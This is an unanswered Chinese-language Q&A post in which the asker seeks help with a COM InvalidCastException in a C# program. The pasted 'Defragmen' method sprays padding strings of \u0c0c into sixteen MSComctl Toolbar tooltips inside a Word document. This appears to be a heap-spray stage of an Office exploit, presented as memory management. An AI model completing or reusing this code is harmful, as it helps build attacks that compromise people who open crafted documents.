C#类型'System.InvalidCastException'的未处理异常

时间:2017-03-24 10:50:48

标签: c#

我正在尝试使用Visual Studio 2015编译现有的C#项目。它编译良好,但运行时出现以下错误:

  

发生了类型为“System.InvalidCastException”的未处理异常   在MemoryManager.exe中

     

附加信息:无法转换类型的COM对象   'mscomctl.ToolbarClass'到接口类型'mscomctl.IToolbar'。这个   操作失败,因为QueryInterface调用COM组件   用于IID'{66833FE4-8583-11D1-B16A-00C0F0283628}的接口   由于以下错误而失败:库未注册。 (例外   来自HRESULT:0x8002801D(TYPE_E_LIBNOTREGISTERED))。

代码:

private void Defragmen(Microsoft.Office.Interop.Word.Document objDoc, Microsoft.Office.Interop.Word.InlineShape[] ocx)
{
            string paddingB = "\u0c0c\u0c0c";
            while (paddingB.Length < 0x60 / 2)
            {
                paddingB += paddingB;
            }
            string objAllocB = paddingB.Substring(0, 0x5a / 2);

            mscomctl.Toolbar[] tabArrayB = new mscomctl.Toolbar[16];
            ocx[2] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

            for (int j = 0; j < 16; j++)
            {
                tabArrayB[j] = (mscomctl.Toolbar)ocx[2].OLEFormat.Object;
                tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
            }

}

任何人都可以告诉我,需要改变什么才能让它发挥作用。

0 个答案:

没有答案